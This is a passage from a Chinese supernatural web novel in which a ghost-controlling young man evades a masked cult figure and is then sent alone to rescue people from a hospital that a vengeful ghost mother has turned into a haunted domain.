“不用,真的不用。”女生摆摆手,声音轻飘飘的,“我就是被吓到了,睡一觉就会好的。我已经给朋友发了消息,她很快就会过来陪我。”
女生都这么讲了,宴泠昭也不好再说什么。确认她安全进入小区后,宴泠昭转身准备离开。
然而,就在他刚刚走出小区大门不远,一个高大挺拔的身影迎面而来。对方显然早已在此等候多时,看到宴泠昭的瞬间,便径直朝宴泠昭走来。
宴泠昭眼皮一跳,尽量装作没有注意到对方,加快步伐想要绕过。然而那高大的身影几步便拦在了他的面前,根本无法避开。
“你现在是回家吗?”那带着鸟嘴面具的怪人开口问道,声音中透着愉悦。
宴泠昭不予理会,低头加速前行。
说起来,宴泠昭其实不矮,将近一米八的身高。但与对方那两米的身高相比,就显得有些吃力了。
是以,面具人的一步几乎顶得上他一步半,很难甩得开。
“说起来,忘了介绍我自己。”老板毫不在意宴泠昭的冷淡态度,自顾自的说道,“我叫墨菲斯,你呢?”
走了几步,宴泠昭意识到自己无法轻易摆脱这个纠缠,只好停下,直视对方,说道:“我对你不感兴趣,也没有想和你认识的想法。”
这种直白到近乎无礼的拒绝对于素来内敛的宴泠昭来说若非被逼到一定程度,他很难说出这样不留余地的话。
可惜,墨菲斯对此完全不受影响,丝毫不介意宴泠昭的冷淡与排斥。不过,他的态度还是发生了些微妙的变化的,不再是先前那般浮夸的花花公子姿态,而是带上了几分真诚。
“说真的,我对你有一种特别的熟悉感。”他的声音低沉而真挚,“就好像我们认识许久了——我们以前一定认识,只是我不记得了,而你忘了。”
宴泠昭面无表情的回道:“从小到大所有的事情我都记得,没有失过忆,所以,我确信我们不认识。”
墨菲斯低沉磁性的笑声从面具后方传出,带着轻微的回音,语气意味深长的说道:“我说的不是现在,是过去。”
这句听起来神叨叨的话让宴泠昭越发确信他精神状态有问题。
宴泠昭看了墨菲斯几秒,从衣服口袋里取出一张名片,递给墨菲斯。
墨菲斯好奇的接过,那双隐藏在面具圆形镜片后的眼睛注视着名片上的内容——
名片上印着一家精神专科医院的名字,以及一位姓董的医生的联系方式。
墨菲斯仔细端详名片正反两面,似乎在寻找某种隐藏信息。确认无误后,他抬起头,声音中带着几分诚挚的疑惑:“什么意思?”
“你要很闲的话,可以去看看医生。”宴泠昭平静的说道。
“为什么?”墨菲斯歪了歪头。
“有利于健康。”
“你希望我这么做?”墨菲斯的语气突然变得格外认真,仿佛宴泠昭的建议具有某种特殊意义。
宴泠昭心想这关他什么事,但眼下这情况,他确实希望对方能去看看医生,便点了点头。
墨菲斯郑重的将名片收入风衣内袋:“好的,我知道了。”
宴泠昭向前走了几步,警惕的回头望去,墨菲斯这次站在原地,没有再跟着他。
松了口气,宴泠昭不打算去菜市场了,选择直接回家,通过外卖平台订购所需食材。
平时他很少使用外卖购买食材,因为亲自挑选的新鲜度和质量更有保障。但今天这种特殊情况,还是外卖吧。
***
董医生今天“迎来”了一位新病人。这名患者点名要求由他亲自接诊。
正常情况下,心理咨询都是需要提前预约的,但对方使用了钞能力。董医生想着自己今天的日程也不算繁忙——主要是前台小姐递来的那个装满现金的信封分量十足犹豫半秒都是对病人的不尊重,所以董医生立即就同意了这个“临时插队”。
窗外的阳光渐渐西斜,预约的时间即将到来。
董医生整理了下自己的白大褂衣襟,确保每一处褶皱都得到妥善处理,这是他多年来养成的职业习惯:整洁的外表能给患者带来信任感。接着,他调整好座椅位置,端正的坐好,面带专业而亲切的微笑。
刚做好准备,一阵敲门声适时响起。
“请进。”董医生温和的说道。
门缓缓打开,当来人完全显露在视野中时,董医生怔住,眼中闪过一丝惊讶。
这位病人的打扮实在是独特。
身着一袭剪裁精良的黑色风衣,质地看起来价格不菲,搭配上高挑的身材,用他女儿的话来说,就是充满帅哥气质。
然而,令人无法忽视的是对方脸上戴着的那个奇特的鸟嘴面具——仿佛直接从文艺复兴时期的瘟疫医生画像中走出来一般;面具做工精细,在阳光下反射着幽暗的金属光泽,长长的喙部向前突出,给人一种古怪而压迫的存在感。
董医生迅速调整好自己的表情,掩饰住内心的诧异。
在他二十年的心理咨询生涯中,接触过各种各样的患者,有些人确实会通过特殊的穿着打扮来表达内心的不安或反叛。
“墨先生对吧,请坐。”他保持着专业的微笑,语气平静而友善。
墨菲斯关上门,步伐优雅的走到患者专用的沙发前坐下。
接下来,按照常规程序,董医生先是询问了一些基本情况,随后逐渐引导话题进入正题:“是什么让您决定来寻求心理咨询的呢?”
“一位熟人推荐的。”墨菲斯说,“他认为我来见你会对我的健康有所帮助。”
董医生点点头,这个回答相当合理。许多人确实是通过熟人推荐,才来寻求专业心理帮助的。
“能否和您谈一谈最近的生活状态?有什么让您感到困扰的事情吗?”
就是这个看似普通的问题,打开了一个令董医生始料未及的“潘多拉魔盒”。
墨菲斯的回答开始变得异常离奇。他谈论着自己“为主传播福音”的使命,语气时而激动时而沮丧,内容更是越发荒诞不经。
“您知道吗,董医生,现在的人真是忘恩负义。”墨菲斯摇着头,声音中透着深深的失望与愤慨,“我主曾经赐予人类智慧与启示,教导他们如何在黑暗中寻找光明,如何在混沌中创造秩序”
“可现在呢?不仅没人记得主,还称我主是邪教,是邪神!”说到这里,墨菲斯的声音中明显带上了一丝委屈,他甚至用手掌轻拍胸口,仿佛受到了极大的冤屈,“我主帮助他们觉醒!是在引导他们走向真理!可他们却用这种方式回报我主”
董医生保持着专业的微笑,内心却已经警铃大作。
“以前不是这样的。”墨菲斯继续滔滔不绝,“过去的人类更加敬畏神明,他们会献上祭品,会跪地膜拜,会遵循我们的指引”
随着交谈的深入,墨菲斯的言论越来越偏离常轨。他谈到“时代的轮回”、“古老的契约”、“神明的归来”等概念,还时不时提及一些董医生完全听不懂的晦涩名词和仪式。
董医生:“”
他在心中迅速做出了专业判断——这位病人很可能受到了某种邪教组织的深度洗脑。这已经不是简单的心理咨询能够解决的问题了,需要警方介入调查!
当墨菲斯谈到激动处时,他站起身来,开始做出各种夸张的手势,仿佛在模仿某种神秘的仪式动作。
董医生默默看着,面上依然保持着温和的微笑,但内心已经决定在咨询结束后立即报警。
时间一分一秒的流逝,墨菲斯的长篇大论从下午延续到了傍晚。窗外的阳光已经完全消失,取而代之的是城市的霓虹灯光。
董医生不是没有尝试打断过这场近乎独角戏的表演。
“墨先生,关于您提到的这个主我们也许可以从另一个角度来思考这个问题”
但每一次尝试都如同石沉大海,墨菲斯已经进入了忘我状态,完全沉浸在自己的世界里。
终于,董医生的膀胱已经憋达极限,实在无法再保持专业的倾听姿态时,墨菲斯似乎终于察觉到了什么,意犹未尽的停了下来。
“真好。”他的声音突然变得柔和而满足,“你是唯一一个听我说这么多的人。”
董医生保持着微笑,尽管此时这个微笑已经变得有些机械而僵硬。
“我下次再来。”墨菲斯站起身,行了一个奇怪的礼,随后转身离开了咨询室,风衣下摆在空中划出一道优雅的弧线。
门一关上,董医生立刻变了表情,几乎是跳起来冲向洗手间。
两分钟后。
解决完积压多时的生理需求,董医生深深吐出一口气,看着镜中自己略显疲惫的面容。
“这绝对是个邪教成员。”他对着镜子自言自语,“必须报警。”
一边思考着该如何向警方描述这个奇怪的病人,一边走出洗手间,董医生拿出手机,走向办公室的窗台边。
秋季的晚风轻拂过来,带着一丝凉意,让他的头脑清醒了两分。
董医生输入110三个数字,正准备按下拨号键,一阵急促的翅膀拍打声突然从头顶传来。抬头望去,一只体型硕大的乌鸦飞向他的窗台,黑色的羽翼在夜色中划出一道优美的弧线,随后稳稳的停在窗沿上。
董医生被这突如其来的访客吓了一跳,不过很快就平静了下来,变成好奇的打量。
乌鸦的羽毛在月光下显得异常美丽,乌黑发亮得如同上好的丝绒。它站姿挺拔,头颅高昂,眼神锐利而专注
真是见了鬼了。董医生想。
他竟然从一只鸟身上感受到了一种,嗯用人类的形容词来描述的话,就是“帅气”和“酷炫”的气质。
董医生摇摇头,重新专注于手机屏幕,准备完成报警的最后一步。
但就在他即将按下拨号键的一瞬间,一种奇异的感觉突然涌上心头。他的眼神变得空洞,思绪如同被一阵大雾笼罩,原本清晰的目的在脑海中变得模糊不清。
几秒钟后,董医生茫然的眨了眨眼,收起手机放回口袋,完全忘记了自己原本想要做什么。他环顾四周,只觉得疲惫不堪,唯一的念头就是赶紧收拾东西下班回家。
窗台上的乌鸦静静的注视着这一幕,低头啄了啄自己的羽翼,动作优雅而从容。随后,它展开宽大的翅膀,再次飞入夜空中,很快便消失在视野尽头。
诊所大楼下,一个高大的身影靠在一棵银杏树旁。
墨菲斯抬头看着飞远的乌鸦,面具下传来一声轻笑。
“嗯,这个人类的眼光还不错。”他自言自语道,声音中带着几分赞赏和几分戏谑,“虽然也像其他人类一样想报警。”
【作者有话说】
[撒花]
64 第 64 章
◎鬼蜮形成◎
——什么是社恐?
社恐“准则”之一:为了避免与某个人再次相遇, 可以毫不犹豫的永远放弃一个地方。不管那个地方多么方便、多么熟悉,只要有可能遭遇不必要的社交压力, 立刻划入禁区名单。
***
这么多年来,宴泠昭其实已经习惯了在小区附近的那个菜市场采购食材。他熟悉菜市场每个摊位的位置,知道哪家蔬菜最新鲜,哪家肉铺最实在。
但眼下,为了避免再次碰到那个戴鸟嘴面具疑似精神有点问题的家伙,他只能遗憾的将这个熟悉的场所划入禁区, 从此与之绝缘。
晚上吃饭的时候,趁着所有鬼都在,宴泠昭打探道:“你们平时买菜都在哪里买?”
“我以前常去东郊的农贸市场,那里的菜都是当天从郊区拉来的, 新鲜。”王大爷说道。
“西湖路那个小市场不错,虽然地方小, 但东西齐全, 最主要价格偏低。”何老说道。
“我倒是觉得咱们小区旁边的那个菜市场就挺好。”李奶奶说道, “走路十分钟就到,东西也不错。”
“我也喜欢到那个菜市场买东西。”田燕婉附和道。
去掉菜市场,宴泠昭将其它两个地点默默记在心中。
饭后,李小虎像往常一样兴冲冲的去找鬼婴。看着他欢快离去的背影, 宴泠昭忽然想起鬼母的事情。
——上次提供完位置, 截止至今, 朱德宏并没有向他说明任何后续进展。考虑到鬼婴没什么大碍,应该是那次行动没能彻底解决问题。
是以当李小虎回来时, 宴泠昭问了下。
李小虎歪着头想了想:“我看小弟的样子还挺正常的, 一点都不难过小弟很在乎他妈妈, 如果鬼母出事了, 小弟肯定会很伤心的。”
这个答案属于意料之中。
看来国家那边确实没能成功处理掉鬼母,朱德宏也不跟他说一声。
怀着微妙的情绪,宴泠昭拿出手机,给朱德宏发了一条消息:【上次的情报有用吗?鬼母的事情解决了吗?】
发完消息,宴泠昭并不指望能立即得到回复。毕竟朱德宏平时事务繁忙。
果然,一直到凌晨两点多,宴泠昭都准备关灯睡觉了,手机才终于振动起来。
【朱德宏:因为这件事不是你的正式任务,所以没有跟你说,怕你有负担上次的情报非常有用,我们确实找到了鬼母,但遗憾的是对方实力超出预期,让她逃脱了】
朱德宏发来的消息内容还挺多的,都是委婉的让宴泠昭不要多想。最后才说宴泠昭如果有意,可以加入这个任务。说到这里,朱德宏还玩笑的说会算入业绩。
读完消息,宴泠昭放下心来,回了一个“好”。
随后他唤出李小虎,吩咐道:“去找一下鬼婴,看能不能再探查一次鬼母的位置。”
李小虎挠了挠头,显得有些为难:“上次是鬼母召唤小弟,小弟才知道的,你这突然叫我去,不一定能碰上啊。”
宴泠昭平静的说道:“没关系,遇上了就跟我说,没遇上就算了。”
“好吧,事先说好,你不能怪我。”李小虎强调道。
“嗯。”宴泠昭点了点头。
得到承诺后,李小虎高高兴兴的去找鬼婴了。
这边,宴泠昭其实也没抱多大希望,他只是想尝试一下,万一呢。
为了防止因无聊而睡着,宴泠昭拿过平板电脑,打算玩会游戏打发时间,登录了某很火的塔防类游戏,进入游戏后直接点击“匹配”按钮。
在等待系统匹配队友的时间里,宴泠昭注意到消息栏上有一个醒目的红点。点开一看,竟然有几百条未读消息,全都来自陌生ID。
宴泠昭愣了一下,随即想起这个账号最近一直是手机鬼在用,这些消息多半是发给他的。
本不打算查看这些消息,但宴泠昭一不小心手滑,点开了其中一条。
【草莓爱吃软糖:野王哥哥看看我!我瑶妹自带星泉+膝盖,全程挂件不卡顿,敌人来了我跳车挡刀!】
宴泠昭:“?”
他退出这个聊天框,又随机点开了另一个。
【软w萌:哥哥刚刚那把李白好厉害!可以加个好友吗?我辅助贼听话~】
宴泠昭:“。”
带着一种了悟的预感,他点开个人资料页查看战绩记录。
最强王者30星
他就知道。
宴泠昭清晰记得在把账号借给李亮之前,他自己才打到黄金段位,不过主要也是因为他不经常玩。
而现在,手机鬼给他哐哐上分,目前这个段位,算是这款游戏的顶尖水平了。
没有丝毫犹豫,宴泠昭立刻取消了匹配。
幸好系统还没有匹配到队友,否则以他的水平,进入这种高段位的对局,简直就是坑队友。
这个号是没法打了。宴泠昭退出当前账号,换用了另一个很久以前错误注册的小号。这个账号只完成过新手教程,从未打过排位赛。虽然有炸鱼之嫌,但好歹不会坑害队友。
抱着这个想法,带着几分自信,宴泠昭点击匹配。
然后——被对面打得怀疑人生。
看着屏幕上大大的失败二字,宴泠昭神情迷茫然。
这就是深夜匹配的水平?
不服输的性格被激发,他又开始了第二局。
结果再次惨败,对面的压制更为彻底,几乎没给他任何发挥空间。
手感火热起来了。
宴泠昭活动了一下手腕,连续开启第三局、第四局、第五局无一例外全部失败,不过他越战越勇,虽然也输得越来越惨
凌晨四点半,第六局比赛终于迎来了转机——这是今晚唯一的一场胜利,尽管某人的贡献微乎其微,全靠队友们的超神发挥。
宴泠昭松了口气,觉得自己今晚终于可以安心睡觉了。
这时,李小虎急匆匆的从窗户飘了进来,神情焦急,语速飞快:“老大,老大!小弟他——”
***
B市xx人民医院妇产科
侦查组第二次堵到鬼母,但这次情况与之前完全不同。与其说是侦察组找到了鬼母,不如说是鬼母刻意找上门来。
前两次的战斗让鬼母蒙受重创,对侦察组恨之入骨。这一次,她不再是被动躲藏,而是主动出击,准备了一场精心策划的复仇行动。
她故意露出行踪,引诱侦察组发现,甚至给出明显的线索,让对方能够集结更多人手前来围剿。
当能来的人几乎全部到齐,准备发动总攻时,鬼母脸上露出一个得逞的冷笑。
——刹那间,整个医院被一种不可见的能量场笼罩,所有人都感到一阵眩晕。然后,当视线恢复清晰时,环境已经发生了微妙而诡异的变化:
灯光频闪,在熄灭的刹那,墙皮如干涸的血痂般剥落,露出后面水泥一样的墙体。走廊无限延长,尽头的手术们微微开合,传出金属器械碰撞的细响,然后门缝下流出大片血色的液体。无人的候诊椅突左右转动,仿佛有什么“东西”坐在上面
有人立即意识到了危机,大喊:“快撤离!鬼母把整个医院都拉入异空间了!”
然而为时已晚。
医院内的所有人,包括侦查组成员、医护人员和患者,都已经被困在这个由鬼母构筑的诡异空间中。出口已经消失,取而代之的是扭曲的墙壁和无尽的走廊。
“各小组注意,保护平民安全!”侦查组总组长高毅在耳麦里迅速下令,同时启动了紧急信号,希望能够联系到外界的支援。
但是通讯设备只传来刺耳的杂音,所有的求救信号都被诡异的能量场阻断。
他们被孤立了。
同一时刻。
医院的各个角落传来恐怖的婴儿啼哭声,接着成百上千的鬼婴从墙壁、地板和天花板中爬出,它们的样貌各不相同,但眼中都闪烁着同样的恶意和饥渴。
这些鬼婴像潮水一般向人群涌去,普通民众完全无力抵抗,顷刻间就有几人倒下,被鬼婴啃食。
“什么怪物!”
“鬼!是鬼!”
“救命啊!有没有人救救我!”
“快跑啊前面的!”
“别推!!!”
“啊!”
尖叫声、哭喊声和鬼婴的哭声交织在一起。
侦察组的队员们迅速展开行动,特制武器每一击都能摧毁一个鬼婴,但新的鬼婴又不断涌现,仿佛永无止境。
“必须找到源头!”副组长杨烨在通讯中大喊,“分散找鬼母,只有解决她,才能结束这一切!”
小队成员分成数组,在扭曲的走廊中艰难前行。每前进一步都要面对无数鬼婴的阻拦,更糟糕的是,在这个异空间中,他们的装备效果似乎被削弱了,原本能够一击必杀的武器现在需要多次攻击才能消灭一个敌人。
“卓队!你那边情况如何?”范刚艰难的联络另一个分队。
“两名队员失去行动力这地方太诡异了,空间结构不断变化,我们在原地打转!”卓高元的声音中透着疲惫和愤怒。
“坚持住!三队和四队已向六楼推进,那里的能量读数最高,鬼母很可能在那个位置!”
经过近一个小时的艰苦战斗,侦察组成员损失过半,终于抵达七楼的一间产房。门后传来剧烈的能量波动,腕表的读数几乎要冲破上限。
“准备行动!”范刚手持特制匕首,身上已经布满伤痕,但眼神依然坚定,“三、二、一——进攻!”
众人一齐发力,踹开了产房门。
房间里,鬼母漂浮在房间中央,她的形象已经与之前大不相同:原本干瘪的腹部现在高高隆起,犹如十月怀胎;惨白的脸上露出诡异的微笑,眼中闪烁着疯狂的光芒。
“你们来得正好正好见证我的杰作”她轻声说道。
众人虽然不知道鬼母要干什么,但显而易见不能等。
就在他们准备发动攻击的一瞬间,鬼母的腹部突然剧烈蠕动起来——一只小小的手从她的腹腔中伸出,撕裂了那层苍白的皮肤。接着,是一个小孩的头颅和躯干,缓缓从伤口中挤出。
与之前见过的所有鬼婴不同,这个“孩子”有着正常的肉色皮肤,看上去就像一个普通的人类孩童,但体型要比刚出生的正常婴儿大些。肚脐与鬼母之间连着一根脐带。
当这个孩子完全出现在众人面前时,一股前所未有的寒意席卷了整个房间。所有队员的腕表同时疯狂震动,屏幕上的数字以不可思议的速度攀升——3000、5000、10000、20000直到最后稳定在一个让所有人绝望的数字:29760。
这个数值几乎与鬼蜮的临界值相当。
在特殊部门的历史记录中,只有一次数值超过这个读数——那就是宴泠昭的“暴动”。
那个孩子缓缓抬起头,露出一个天真无邪的微笑,但那双眼睛里却充满了与年龄不符的恶意。
“妈妈。”他用稚嫩的童声说道,“这些就是伤害我们的人吗?”
鬼母慈爱地抚摸着孩子的头发:“是的,我的宝贝。去吧杀死他们,别让他们伤害我们。”
孩子“咯咯咯”的笑了,一股无形的强大能量从他身上扩散开来。所有人都感到一种强烈的窒息感,仿佛有一只无形的大手扼住了他们的喉咙。
最前排的两名队员甚至来不及发出声音,就被扭断了脖子。
“撤退!全员立即撤退!”高毅声嘶力竭的喊道,但已经晚了。
***
医院外面。
负责隔离和监控的官方人员眼睁睁看着一团白色的雾气从医院的各个窗口渗出,迅速形成一个巨大的半透明球体,将整个建筑完全包围。
“快请求支援!联系总部!现场情况超出我们的控制范围了!”现场指挥官声音颤抖的下令
国家特殊部门基地——特别档案资料管理处、负一层监控室。
房间里突然响起刺耳的警报声,主控屏幕上弹出一个闪烁的红色三角形警示符号,中间是一个醒目的感叹号。
同时,一道冷静的机械的女声响彻整个房间:“警告,警告,胡钺区检测到阴性能量超过9000,目前逼近30000,达到鬼蜮最低标准请立即启动紧急预案重复,请立即启动紧急预案”
监控室内的工作人员面面相觑,脸上写满了恐惧和不敢置信。
30000的阴性能量读数意味着什么,他们比任何人都清楚——那是足以形成独立鬼域的数值,一旦稳定下来,该区域将会彻底脱离“人间规则”的限制,形成一个全新的超自然空间。
而胡钺区人群密集,根本不敢想届时会被牵连进多少人!
“立即通知朱主任!”总调度员一边敲击键盘一边喊道。
【作者有话说】
众所周知,高手都在低段位。
你炸鱼我炸鱼,低阶秒变巅峰局[爆哭]
65 第 65 章
◎安息吧,阿门◎
“不好啦大哥!小弟被他妈献祭——我是说融合, 呃反正就是小弟不再是自己了!救救救!”李小虎在宴泠昭面前焦急的飘来飘去,语无伦次, 声音因为着急而变得尖锐。
宴泠昭放下平板,迅速站起身。
虽然没能完全理解李小虎混乱的表述,但通过“小弟”、“他妈”、“献祭”、“融合”这几个关键词,他大致拼凑出了事态的严重性。
“你知道在哪吗?”
李小虎连忙点头,“知道!”
宴泠昭:“带我去。”
李小虎迫不及待的飘向门外。宴泠昭跟上,连外套都来不及拿, 好在他的睡衣当休闲装穿也没问题。
恰在宴泠昭离家的那刻,朱德宏的电话打了过来。然而,空荡荡的房间里,只有被遗忘在沙发上的手机, 屏幕光不断闪烁,最终归于黑暗。
***
B市xx人民医院。
医院外围已经被军警完全封锁。
从外面看, 整栋建筑被一层诡异的白雾完全笼罩, 只有模糊的轮廓隐约可见。
而即使隔着数十米的距离, 人们也依然能感受到一阵刺骨的寒意从中渗出。不仅如此,但凡离得近些,整个人就会被拖进去——前面已经有过例子。
现场总指挥李严上校见状,不得不下令让所有人员后撤至安全距离, 同时加强了警戒线的布置。
“上级怎么说?支援什么时候到?”他的助手低声问道。
李严摇摇头:“老朱说他会调动最高级别的应对力量过来。”
助手忧心忡忡的望着被白雾笼罩的医院, 喃喃道:“只希望能快一点。现在是深夜凌晨四点四十四分, 大多数市民都在睡觉,暂时没引起太大恐慌。但天很快就要亮了”
李严明白他的担忧。五点钟是个分界线, 有些上班上的早的或做早餐生意的民众这个点差不多起来了。届时如果事态仍未控制
“我知道你在想什么。”李严沉声道, “如果到天亮还解决不了, 国家可能不得不向公众公开一些信息。”
这是一个谁都不愿触及的话题。
几十年来, 国家一直对诡异现象采取严格保密政策。一方面是研究表明人类的恐惧会成为诡异的养分,人类越是害怕鬼怪越是强大;另一方面,为了维护社会秩序——群体性恐慌往往比灾难本身造成的伤害更大。
无奈这次事件发生在城市核心区,规模之大。如果无法及时控制,真相或许将不可避免的暴露在公众面前。
“国内已知的三个鬼域都位于偏远地区,勉强可以隔离管控。”助手低声说道,“但这里可是城市中心啊。”
更令人担忧的是,医院内未来得及疏散的大量人员。
如果他们遇难,家属肯定会找上来。而在如今自媒体发达的社会,没有任何事故借口能够掩盖解释这种规模性的集体罹难。
于是,一个无人说出但人人心知的结论已经明了:今天过后,恐怕要变天了。
正在李严忧心焦灼之际,警戒线外突然传来一阵骚动。他抬头望去,看到一个年轻男人正与警戒线上的哨兵交谈。对方穿着宽松的休闲装,与周围充满危机的环境形成鲜明对比。
——估计是看到医院这边的异样,好奇过来查看的。
李严刚想收回目光,就见哨兵突然立正敬礼,随后转身快步向自己跑来。
“报告!上面派来的人到了。”哨兵站定后迅速汇报道。
李严一怔:“是那个年轻人?”
以防万一,他还四处看了看,确认只有年轻人一个人,再无旁人。
哨兵点头应道:“是的!”
李严皱起眉头。
他并非因为对方的年龄而质疑对方的能力,只是惊讶对方竟只有一人。
上面居然仅派一人前来,是不是哪里搞错了?或者救援的大部队在后面?
“你确定?证件都看过了?”想了想,李严问道。
哨兵也显得有些不自信,但还是肯定的回答:“看过了,没有问题。证件编号、防伪标记、权限等级都核实过,是最高级别的特殊部门认证。”
——国家特殊部门的存在本身就是极高机密,其证件系统更是设计了多重防伪措施,几乎不可能被伪造。
所以,既然验证无误,李严也不再质疑,挥手示意放行。
同时,他拨通了朱德宏的电话,朱德宏那边也很快接通。
“老朱,咋回事儿啊,只派了一个人来?还是一个挺年轻的小伙子,确定没搞错?”不等朱德宏开口,李严劈头就问,语气中满是不解。
朱德宏沉声回答:“宴泠昭就是我的王牌,他是驭鬼者,单人作战能力超过一个团。”
李严惊讶的瞪大眼睛:“驭鬼者?咱们国家什么时候有这种能人了?”
“最近。”朱德宏含糊的说道。
“我还以为只有小说里有这种奇人老朱,你老实告诉我,像这种人咱家现在有多少?”他压低声音问道。
朱德宏沉默片刻:“这属于最高级别机密,不方便透露。”
“行吧,这种事确实需要严格保密。”李严点点头,随即话锋一转,“哎,我问你,你觉得我行不行?我要不行的话,我的兵呢?我手下的兵可个个都是非常优秀的好伙子,不比你的兵差。”
电话那头,朱德宏哭笑不得:“到时再说吧,现在最重要的是解决眼前的危机。总之,你全力配合宴泠昭就行了,其他的什么都不要管。”
结束通话,李严望向正朝自己走来的年轻人,心中充满了好奇。
能够驾驭鬼怪为己所用,算不算是超人类?或者说非凡者?他虽然不年轻了,但谁没有个年轻的时候,他也是看过玄幻小说的好吧。
宴泠昭走到李严面前,刚要开口,李严主动伸手拍了拍他的肩膀。
“宴同志是吧,辛苦了,接下来就交给你了。如果你有什么需要帮助的”李严顿了一下,从口袋里取出一个军用耳麦,递给宴泠昭,“虽然你进去后我们外面就联系不上了,但里面有我们的人,你们在里面应该还是能互相联络的。”
宴泠昭接过耳麦,熟练的将其戴在耳朵上,调整到合适的位置。
值得一提的是这种军用设备不同于市面上的普通耳麦,对没接触过的人来说要弄好还真得费一番功夫,但对经过特训的宴泠昭而言已是轻车熟路。
调试完毕。宴泠昭放下手,点了下头表示感谢,随后转身走向那片诡异的白雾。
李严和其他军警人员默默注视着宴泠昭的背影逐渐接近白雾边缘,当触碰到白雾的瞬间,白雾如同有生命一般迅速将他吞噬,眨眼间,宴泠昭的身影就完全消失在视野中。
李严望着宴泠昭消失的地方,在心中默默祈祷:但愿一切顺遂。
***
医院内部。
宴泠昭走入白雾的瞬间,周围的环境陡然发生了改变——没有任何渐进的过程,他直接来到了医院大厅。
脚步落地的声音伴随湿哒哒的水声。
宴泠昭下意识低头看去,发现自己踩在一片暗红色的血泊中。血液已经开始凝固,呈现出浓稠的质感。
再抬头环顾四周,血腥恐怖的惨状映入眼帘:地面上横.七竖.八的躺着数十具尸体,有身着病号服的患者,有穿着军装的国家成员,还有医院的工作人员他们的死状各异,有的身体干瘪如同木乃伊,有的则被某种力量撕裂成碎片,血肉模糊。
空气中弥漫着浓重的血腥味。
对生活在和平年代、同时没有经历过相关职业的普通人来说,是一眼晕的宛若地狱一般的场景。
宴泠昭也有些不适,但能忍。他面无表情的观察着周围,右手抬起准备操作耳麦,尝试联系医院里的自己人。就在这时,楼上突然传来一阵激烈的枪声,伴随玻璃破碎的脆响和人类的惨叫声。
看来主战场应该是在楼上了。
不再犹豫,宴泠昭大步跨过尸体,一边向楼梯奔去,一边释放出体内的众鬼。
“何老、王大爷、王玲玲,你们负责寻找幸存者并护送他们到安全地点;李奶奶、李小虎,辛苦你们去鬼母那边帮忙;李亮、田燕婉,你们跟我一起上楼。”他迅速分配好任务,语气十分冷静。
几位鬼怪迅速分散开来,执行各自的任务。
何老和王大爷飘向大厅的两侧,开始搜寻幸存者;李奶奶和李小虎穿墙而过,直奔楼上。对他们来说鬼母就像个大灯泡,在黑暗中无比明显;李亮、田燕婉则紧跟在宴泠昭身边,随时准备应对可能的袭击
三楼,一间病房内。
四名侦查组成员紧握武器,背靠着墙,气喘吁吁。他们的装备已经破损不堪,脸上满是血污和疲惫。
就在几分钟前,他们刚刚击退了一波鬼婴的攻击,如今弹药所剩无几。
“我们撑不了多久了。”其中一名队员低声说道,“通讯依然中断,无法联系外界。”
队长正要回应,突然看到一个模糊的身影从病房门口飘过。
“警戒!”他立刻举枪瞄准,其他队员也跟着戒备起来。
何老悠闲的飘进来,看到几把枪口对准自己,不慌不忙的说道:“别紧张,年轻人。我是来帮你们的。”
四人会信才怪了,手指已经搭上了扳机。
“我劝你们别开枪。”何老慢悠悠道,“声音会引来那些小怪物。现在,如果你们想活命,就跟我走。”
队长依旧不信,但眼前的诡异有一点没说错,声音会引来鬼婴。而且他们现在快“弹尽粮绝”了。
沉默了几秒,队长拖延时间的问道:“你是谁?”
另一侧,王大爷发现了一群躲在影像科设备后面的医护人员和病患。他们蜷缩在一起,瑟瑟发抖,看着他的眼神充满恐惧。
“那个我是来救你们的。”王大爷尽量让自己的声音听起来平和一些。
一名年轻的女护士惊恐的捂住嘴:“完了,这次是真死定了。”
“别怕,我不会伤害你们。”王大爷有些无奈的解释,“我是上面派来救你们的。”
这群幸存者显然对此深感怀疑,但很快,另一波鬼婴的哭声从走廊传来,他们知道自己别无选择。
“跟着我,保持安静。”王大爷说。
众人眼泪汪汪的点了点头。
事实证明,人家真的是来救他们的。就这样,医院各处的幸存者们在何老、王大爷、王玲玲的协助下,开始向相对安全的区域转移。
这些人类刚开始还惊恐万分,但很快,他们发现声称救他们的鬼不仅没有伤害他们,反而多次挡在他们与鬼婴之间时,他们开始接受这个荒谬的现实——是鬼伤害他们,也是鬼救了他们。
一名被救的医生仍在恐惧中颤抖,他呆呆的望着眼前刚刚为他们抵挡鬼婴攻击的老人模样的鬼怪,无法理解眼前发生的一切。
就在这时,一道人影迅速从他们身边经过,朝着更深处跑去。
医生只来得及匆匆一瞥,那身影就已经消失在走廊尽头。
医生忍不住喊道:“喂,等等——你去哪!那边危险!”
也不知道人影是听到了还是没听到,没回答,也没停下。
***
医院六楼产科特护病房。
宴泠昭终于赶到了战场。
整个六楼已经面目全非——墙壁扭曲变形,天花板如同呼吸的肺叶般起伏不定,地板不断渗出黑色的液体,这些液体凝聚成一批批新的鬼婴。
房间中央,一个女人漂浮在半空中,她的身体完全异化,下半身是一团蠕动的黑色雾气,上半身则保持着女性形态。
一个看起来约五六岁大的孩子站在她身边,肚子上连着一根脐带,脐带的另一端连接着女人。
女人面前,侦查组的残余成员在苦苦支撑。
李奶奶见宴泠昭来了,点了下头算是打招呼。
宴泠昭大致看了一下现场情况,随后将目光落到李小虎身上。
李小虎此刻正在与孩子对抗,他操控着水流形成护盾,挡住对方的攻击。
“小弟,我是你大哥啊,你不记得我了吗?”李小虎一边战斗,一边喊道,“我们一起在喷泉里玩水,我教你捏各式各样的水球,你还记得吗?”
孩子用看神经病的眼神看李小虎,“我不认识你,你不要乱攀亲戚。”
李小虎用失望透了的语气痛心疾首道:“好吧,看来你已经彻底不是你了,大哥——”
李小虎扭头看向宴泠昭,“动手吧。”然后用手点了下额头,接着在胸口画了个三角形。
“小弟,安息吧。阿门。”
宴泠昭:“”
66 第 66 章
◎奇异的力量在体内流动◎
宴泠昭一边评估着战场形势, 一边在房间内搜寻可用的武器。
一名重伤的侦查组成员意识到他的意图,虚弱的将自己手里的特制黑棍放在地上, 然后用力一推,黑棍朝宴泠昭滑去。
“用这个”那名队员艰难的说道,脸上和身上的血迹显示他伤势严重,但眼神依然坚定。
宴泠昭说了声“谢谢”,弯腰一把抓起黑棍。这种特制武器看似普通,却融入了研发部的尖端技术, 能够对诡异造成大量伤害。
接着,他左右环顾,不远处正好有把手枪,他走过去顺手也拿起了那把手枪, 这时,离得最近的一名队员摇了摇头, 提醒道:
“没子弹了。”
宴泠昭闻言一顿, 将空枪丢到一旁。
